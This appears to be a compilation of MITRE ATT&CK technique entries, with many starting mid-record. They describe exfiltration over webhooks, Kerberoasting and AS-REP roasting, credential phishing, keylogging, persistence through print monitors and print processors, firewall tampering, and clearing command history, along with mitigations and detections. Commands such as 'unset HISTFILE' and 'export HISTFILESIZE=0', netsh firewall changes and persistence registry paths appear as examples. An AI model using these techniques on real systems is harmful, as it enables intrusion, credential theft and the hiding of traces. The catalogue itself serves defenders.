Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server. Many public and commercial services, such as Discord, Slack, and `webhook.site`, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello. When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application.\n\nAdversaries may link an adversary-owned environment to a victim-owned SaaS service to achieve repeated Automated Exfiltration of emails, chat messages, and other data. Alternatively, instead of linking the webhook endpoint to a service, an adversary can manually post staged data directly to the URL in order to exfiltrate it.\n\nAccess to webhook endpoints is often over HTTPS, which gives the adversary an additional level of protection. Exfiltration leveraging webhooks can also blend in with normal network traffic if the webhook endpoint points to a commonly used SaaS application or collaboration service.\n\n**Classification.** - Tactics: exfiltration\n- Platforms: ESXi, Linux, macOS, Office Suite, SaaS, Windows\n- Sub-technique of: T1567 Exfiltration Over Web Service - Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel.\n\n**Mitigations.** - **Data Loss Prevention**: Data Loss Prevention (DLP) involves implementing strategies and technologies to identify, categorize, monitor, and control the movement of sensitive data within an organization.

Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email. In some cases, they may rely upon the recipient populating information, then returning the file. The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. In other cases, adversaries may leverage techniques such as HTML Smuggling to harvest user credentials via fake login portals.\n\nAdversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\n\n## Reference: ATT&CK AN1647 Analytic 1647\n**ATT&CK AN1647 Analytic 1647 (full record).** For iOS, detect Software Discovery by correlating analyst-visible device/network evidence and management state; use streaming or batched telemetry only where the documented collector is deployed.

Kerberos TGS tickets are also known as service tickets.\n\nSilver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.\n\nPassword hashes for target services may be obtained using OS Credential Dumping or Kerberoasting.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Windows\n- Sub-technique of: T1558 Steal or Forge Kerberos Tickets - Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable Pass the Ticket.

Strong password policies include enforcing password complexity, requiring regular password changes, and preventing password reuse. This mitigation can be implemented through the following measures:\n- **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n- **Encrypt Sensitive Information**: Protect sensitive information at rest, in transit, and during processing by using strong encryption algorithms.

To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service).\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials.\n\nThis same behavior could be executed using service tickets captured from network traffic.\n\nCracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Windows\n- Sub-technique of: T1558 Steal or Forge Kerberos Tickets - Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable Pass the Ticket.

When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user’s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user’s password.\n\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline Password Cracking attacks similarly to Kerberoasting and expose plaintext credentials.\n\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like PowerShell with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data.\n\nCracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Windows\n- Sub-technique of: T1558 Steal or Forge Kerberos Tickets - Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable Pass the Ticket.

These files are used for short term storage of a user's active session credentials. The ccache file is created upon user authentication and allows for access to multiple services without the user having to re-enter credentials.\n\nThe `/etc/krb5.conf` configuration file and the `KRB5CCNAME` environment variable are used to set the storage location for ccache entries. On Linux, credentials are typically stored in the `/tmp` directory with a naming format of `krb5cc_%UID%` or `krb5.ccache`. On macOS, ccache entries are stored by default in memory with an `API:{uuid}` naming scheme. Typically, users interact with ticket storage using `kinit`, which obtains a Ticket-Granting-Ticket (TGT) for the principal; `klist`, which lists obtained tickets currently held in the credentials cache; and other built-in binaries.\n\nAdversaries can collect tickets from ccache files stored on disk and authenticate as the current user without their password to perform Pass the Ticket attacks. Adversaries can also use these tickets to impersonate legitimate users with elevated privileges to perform Privilege Escalation. Tools like Kekeo can also be used by adversaries to convert ccache files to Windows format for further Lateral Movement. On macOS, adversaries may use open-source tools or the Kerberos framework to interact with ccache files and extract TGTs or Service Tickets via lower-level APIs.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Linux, macOS\n- Sub-technique of: T1558 Steal or Forge Kerberos Tickets - Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable Pass the Ticket.

[…]\n\n## Reference: ATT&CK T1559 Inter-Process Communication\n**ATT&CK T1559 Inter-Process Communication (full record).** Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern.\n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows Dynamic Data Exchange or Component Object Model. Linux environments support several different IPC mechanisms, two of which being sockets and pipes. Higher level execution mediums, such as those of Command and Scripting Interpreters, may also leverage underlying IPC mechanisms. Adversaries may also use Remote Services such as Distributed Component Object Model to facilitate remote IPC execution.\n\n**Classification.** - Tactics: execution\n- Platforms: Linux, macOS, Windows\n\n**Sub-techniques.** - T1559.003 XPC Services: Adversaries can provide malicious content to an XPC service daemon for local code execution.\n- T1559.002 Dynamic Data Exchange: Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands.\n- T1559.001 Component Object Model: Adversaries may use the Windows Component Object Model (COM) for local code execution.\n\n**Mitigations.** - **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n- **Software Configuration**: Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats. These changes help reduce the attack surface, enforce best practices, and protect sensitive data.

The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integeror hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.\n\nAdversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server.\n\nAdversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.\n\nAdversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie.\n\nAdversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor.\n\nFrom the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\n\n## Reference: ATT&CK AN0231 Analytic 0231\n**ATT&CK AN0231 Analytic 0231 (full record).** Modification of user desktop backgrounds, login screen messages, or system banners by adversaries using admin privileges or script execution.

To support their operations, an adversary may need to take capabilities they developed (Develop Capabilities) or obtained (Obtain Capabilities) and stage them on infrastructure under their control.\n\n## Mitigations\n- **Pre-compromise**: Pre-compromise mitigations involve proactive measures and defenses implemented to prevent adversaries from successfully identifying and exploiting weaknesses during the Reconnaissance and Resource Development phases of an attack. These activities focus on reducing an organization's attack surface, identify adversarial preparation efforts, and increase the difficulty for attackers to conduct successful operations. This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Detection of SEO Poisoning**\n - If infrastructure or patterns in the malicious web content related to SEO poisoning or Drive-by Target have been previously identified, internet scanning may uncover when an adversary has staged web content supporting a strategic web compromise.

Search engines typically display results to users based on purchased ads as well as the site’s ranking/score/reputation calculated by their web crawlers and algorithms.\n\nTo help facilitate Drive-by Compromise, adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as Drive-by Target) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).\n\nIn addition to internet search engines (such as Google), adversaries may also aim to manipulate specific in-site searches for developer platforms (such as GitHub) to deceive users towards Supply Chain Compromise lures. In-site searches will rank search results according to their own algorithms and metrics such as popularity which may be targeted and gamed by malicious actors.\n\nAdversaries may also purchase or plant incoming links to staged capabilities in order to boost the site’s calculated relevance and reputation.\n\nSEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.\n\n## Reference: ATT&CK T1056 Input Capture\n**ATT&CK T1056 Input Capture (full record).** Adversaries may use methods of capturing user input to obtain credentials or collect information.

Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes. Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike Credential API Hooking, this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* Modify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.\n\n**Classification.** - Tactics: collection, credential-access\n- Platforms: Linux, macOS, Network Devices, Windows\n- Sub-technique of: T1056 Input Capture - Adversaries may use methods of capturing user input to obtain credentials or collect information.

When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. This type of prompt can be used to collect credentials via various languages such as AppleScript and PowerShell. On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. Unix Shell).\n\nAdversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., Browser Information Discovery and/or Application Window Discovery) to spoof prompts when users are naturally accessing sensitive sites/data.\n\n**Classification.** - Tactics: collection, credential-access\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1056 Input Capture - Adversaries may use methods of capturing user input to obtain credentials or collect information.

Comprehensive training programs create a human firewall by empowering users to be an active component of the organization's cybersecurity defenses. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Behavioral Detection of Spoofed GUI Credential Prompts**\n - Detects suspicious use of PowerShell,.NET, or script interpreters to spawn processes that mimic UAC prompts, often with credential capture dialogue boxes invoked from non-standard parent processes.

Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n- **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n- **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n- **Limit Access to Resource Over Network**: Restrict access to network resources, such as file shares, remote systems, and services, to only those users, accounts, or systems with a legitimate business requirement. This can include employing technologies like network concentrators, RDP gateways, and zero-trust network access (ZTNA) models, alongside hardening services and protocols. This mitigation can be implemented through the following measures:\n- **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Detection Strategy for Container Administration Command Abuse**\n - Defenders may detect abuse of container administration commands by observing anomalous use of management utilities (`docker exec`, `kubectl exec`, or API calls to kubelet) correlated with unexpected process creation inside containers.

For example, malware operators may limit the distribution of a second stage payload to certain geographic regions.\n\nGeofencing is accomplished by persuading the user to grant the application permission to access location services. The application can then collect, process, and exfiltrate the device’s location to perform location-based actions, such as ceasing malicious behavior or showing region-specific advertisements.\n\nOne method to accomplish Geofencing on Android is to use the built-in Geofencing API to automatically trigger certain behaviors when the device enters or exits a specified radius around a geographical location. Similar to other Geofencing methods, this requires that the user has granted the `ACCESS_FINE_LOCATION` and `ACCESS_BACKGROUND_LOCATION` permissions. The latter is only required if the application targets Android 10 (API level 29) or higher. However, Android 11 introduced additional permission controls that may restrict background location collection based on user permission choices at runtime. These additional controls include \"Allow only while using the app\", which will effectively prohibit background location collection.\n\nSimilarly, on iOS, developers can use built-in APIs to setup and execute geofencing. Depending on the use case, the app will either need to call `requestWhenInUseAuthorization` or `requestAlwaysAuthorization`, depending on when access to the location services is required. Similar to Android, users also have the option to limit when the application can access the device’s location, including one-time use and only when the application is running in the foreground.\n\nGeofencing can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.

Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence. Although often used as payloads in an infection chain (e.g. Spearphishing Attachment), adversaries may also create a new shortcut as a means of indirection, while also abusing Masquerading to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.\n\nShortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. Browser Extensions) to persistently launch malware.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1547 Boot or Logon Autostart Execution - Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.\n\n**Mitigations.** - **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n- **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. […]\n\n## Reference: ATT&CK T1547.010 Port Monitors\n**ATT&CK T1547.010 Port Monitors (full record).** Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the `AddMonitor` API call to set a DLL to be loaded at startup. This DLL can be located in `C:\\Windows\\System32` and will be loaded and run by the print spooler service, `spoolsv.exe`, under SYSTEM level permissions on boot.\n\nAlternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to the `Driver` value of an existing or new arbitrarily named subkey of `HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors`. The Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1547 Boot or Logon Autostart Execution - Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.\n\n**Detection strategies and analytics.** - **Detection Strategy for T1547.010 – Port Monitor DLL Persistence via spoolsv.exe (Windows)**\n - Detects suspicious registry modifications under `HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors\\*\\Driver`, DLL loads by `spoolsv.exe` of non-standard or unsigned modules, and abnormal usage of the `AddMonitor` API by non-installation processes. This pattern often indicates an attempt to persist a malicious DLL via the print monitor mechanism, particularly when correlated with creation of files in `C:\\Windows\\System32` not tied to known patches or installations. (telemetry: WinEventLog:Sysmon:EventCode=1, WinEventLog:Sysmon:EventCode=7, WinEventLog:Sysmon:EventCode=13)\n\n## Reference: ATT&CK T1547.012 Print Processors\n**ATT&CK T1547.012 Print Processors (full record).** Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.\n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the `AddPrintProcessor` API call with an account that has `SeLoadDriverPrivilege` enabled. Alternatively, a print processor can be registered to the print spooler service by adding the `HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver` Registry key that points to the DLL.\n\nFor the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the `GetPrintProcessorDirectory` API call, or referenced via a relative path from this directory. After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.\n\nThe print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1547 Boot or Logon Autostart Execution - Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.\n\n**Mitigations.** - **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies.

Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., Shared Modules).\n\nReflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode). For example, the `Assembly.Load` method executed by PowerShell may be abused to load raw code into the running process.\n\nReflective code injection is very similar to Process Injection except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.\n\n## Reference: ATT&CK T1686.001 Cloud Firewall\n**ATT&CK T1686.001 Cloud Firewall (full record).** Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources.\n\nCloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary with appropriate permissions may introduce new firewall rules or policies to allow access into a victim cloud environment and/or move laterally from the cloud control plane to the data plane.\n\nFor example, an adversary may use a script or utility that creates new ingress rules in existing security groups (or creates new security groups entirely) to allow any TCP/IP connectivity to a cloud-hosted instance. They may also remove networking limitations to support traffic associated with malicious activity (such as cryptomining).\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: IaaS\n- Sub-technique of: T1686 Disable or Modify System Firewall - Adversaries may disable or modify host-based or network firewalls to impair defensive mechanisms and enable further action. Once an adversary has gathered sufficient privileges, they can tamper with firewall services, policies, or rule sets to remove restrictions on inbound or outbound traffic.\n\n**Mitigations.** - **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detection Strategy for Disable or Modify Cloud Firewall**\n - Creation, deletion, or modification of security groups and firewall rules in cloud control plane logs that expand access to cloud resources beyond expected baselines.

For example, adversaries may add new network firewall rules to allow access to all internal network subnets without restrictions. Allowing access to internal network subsets may enable unrestricted inbound/outbound connectivity or open paths for command and control and lateral movement.\n\nAdversaries may obtain access to network device management interfaces via Valid Accounts or by exploiting vulnerabilities. In some cases, threat actors may target firewalls and other network infrastructure that are exposed to the internet by leveraging weaknesses in public-facing applications (Exploit Public-Facing Application).\n\nAdversaries may also modify host networking configurations that indirectly manipulate system firewalls, such as adjusting interface bandwidth or network connection request thresholds.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: Network Devices\n- Sub-technique of: T1686 Disable or Modify System Firewall - Adversaries may disable or modify host-based or network firewalls to impair defensive mechanisms and enable further action. Once an adversary has gathered sufficient privileges, they can tamper with firewall services, policies, or rule sets to remove restrictions on inbound or outbound traffic.\n\n**Mitigations.** - **Update Software**: Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures. […]\n\n## Reference: ATT&CK T1686.003 Windows Host Firewall\n**ATT&CK T1686.003 Windows Host Firewall (full record).** Adversaries may disable or modify the Windows host firewall to bypass controls limiting network usage. This can include disabling the Windows host firewall entirely, suppressing specific profiles (domain, private, public), or adding, deleting, and modifying firewall rules to allow or restrict traffic.\n\nAdversaries may perform these modifications through multiple mechanisms depending on the Windows operating system and access level. For example, adversaries may use command-line utilities (e.g., `netsh advfirewall` or PowerShell cmdlets like `Set-NetFirewallProfile`, `New-NetFirewallRule`), Windows Registry modifications (e.g., altering firewall states and rule configurations via registry keys), or the Windows Control Panel to modify firewall settings through the Windows Security interface.\n\nBy disabling or modifying Windows firewall services, adversaries may enable access to remote services, open ports for command and control traffic, or configure rules for further actions.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: Windows\n- Sub-technique of: T1686 Disable or Modify System Firewall - Adversaries may disable or modify host-based or network firewalls to impair defensive mechanisms and enable further action. Once an adversary has gathered sufficient privileges, they can tamper with firewall services, policies, or rule sets to remove restrictions on inbound or outbound traffic.\n\n**Mitigations.** - **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.\n- **Restrict Registry Permissions**: Restricting registry permissions involves configuring access control settings for sensitive registry keys and hives to ensure that only authorized users or processes can make modifications. By limiting access, organizations can prevent unauthorized changes that adversaries might use for persistence, privilege escalation, or defense evasion. […]\n\n## Reference: ATT&CK T1687 Exploitation for Defense Impairment\n**ATT&CK T1687 Exploitation for Defense Impairment (full record).** Adversaries may exploit vulnerabilities in security software, infrastructure, or defensive components to degrade, disable, or otherwise continue to impair their ability to prevent, detect, or respond to malicious activity.\n\nAdversaries may exploit a system or application vulnerability to directly interfere with defensive mechanisms. Exploitation occurs when an adversary takes advantage of a programming error in software, services, or the operating system to execute adversary-controlled code, often with the goal of weakening or disabling protections.\n\nVulnerabilities may exist in security tools such as antivirus, endpoint detection and response (EDR), firewalls, or other monitoring solutions. Adversaries may use prior reconnaissance or perform discovery activities (e.g., Software Discovery) to identify defensive tools present in an environment and target them for exploitation.\n\nSuccessful exploitation may allow adversaries to terminate security processes, disable protections, bypass enforcement mechanisms, or reduce the effectiveness of defensive controls. In some cases, vulnerabilities in cloud-based or SaaS infrastructure may also be leveraged to bypass built-in security boundaries or disrupt visibility and enforcement across environments.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: IaaS, Linux, macOS, SaaS, Windows\n\n**Detection strategies and analytics.** - **Detection of Defense Impairment**\n - Detects suspicious interactions with security products followed by service crashes, unexpected restarts, driver unloads, telemetry gaps, or tamper-state changes.

Examples of such features include: an app being allowed to run because it is signed by a valid code signing certificate; an OS prompt alerting the user that an app came from an untrusted source; or getting an indication that you are about to connect to an untrusted site.

Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they have done.\n\nOn Linux and macOS, command history is tracked in a file pointed to by the environment variable `HISTFILE`. When a user logs off a system, this information is flushed to a file in the user's home directory called `~/.bash_history`. The `HISTCONTROL` environment variable keeps track of what should be saved by the history command and eventually into the `~/.bash_history` file when a user logs out. `HISTCONTROL` does not exist by default on macOS, but can be set by the user and will be respected. The `HISTFILE` environment variable is also used in some ESXi systems.\n\nAdversaries may clear the history environment variable (`unset HISTFILE`) or set the command history size to zero (`export HISTFILESIZE=0`) to prevent logging of commands. Additionally, `HISTCONTROL` can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". `HISTCONTROL` can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \" ls\" will not be saved, but \"ls\" would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands.\n\nOn Windows systems, the `PSReadLine` module tracks commands used in all PowerShell sessions and writes them to a file (`$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt` by default). Adversaries may change where these logs are saved using `Set-PSReadLineOption -HistorySavePath {File Path}`. This will cause `ConsoleHost_history.txt` to stop receiving logs.

Messages typically fall into two categories: (1) reporting messages that contain telemetry data about the current state of systems, devices, and processes and (2) command messages that contain instructions to control systems, devices, and processes. Both types of messages are critical for the proper functioning of industrial control processes and failure of the messages to reach their intended destinations could inhibit response functions or create an unsafe condition that could have physical impacts.\n\nAdversaries may block communications by either making modifications to software (System Firmware, Module Firmware, Hooking, and Rootkit) and services (Service Stop, Denial of Service) on systems and devices or by positioning themselves between systems and devices and intercepting and blocking the communications such as the case with an Adversary-in-the-Middle attack.\n\n**Classification.** - Tactics: inhibit-response-function\n- Platforms: Embedded, Windows, Linux\n\n**Sub-techniques.** - T1691.002 Reporting Message: Adversaries may block or prevent a reporting message from reaching its intended target.\n- T1691.001 Command Message: Adversaries may block a command message from reaching its intended target to prevent command execution.

In control systems, reporting messages contain telemetry data (e.g., I/O values) pertaining to the current state of equipment and the industrial process. By blocking these reporting messages, an adversary can potentially hide their actions from an operator.\n\nBlocking reporting messages in control systems that manage physical processes may contribute to system impact, causing inhibition of a response function.

Vulnerabilities may be present in the applications, the services, the underlying operating system, or the kernel itself. Several well-known mobile device exploits exist, including FORCEDENTRY, StageFright, and BlueBorne. Furthermore, some exploits may be possible to exploit without any user interaction (i.e. zero-click exploits, see Exploitation for Client Execution), making them particularly dangerous. Mobile operating system vendors are typically very quick to patch such critical bugs, ensuring only a small window where they can be exploited.\n\n## Reference: ATT&CK T0852 Screen Capture\n**ATT&CK T0852 Screen Capture (full record).** Adversaries may attempt to perform screen capture of devices in the control system environment. Screenshots may be taken of workstations, HMIs, or other devices that display environment-relevant process, device, reporting, alarm, or related data. These device displays may reveal information regarding the ICS process, layout, control, and related schematics. In particular, an HMI can provide a lot of important industrial process information.

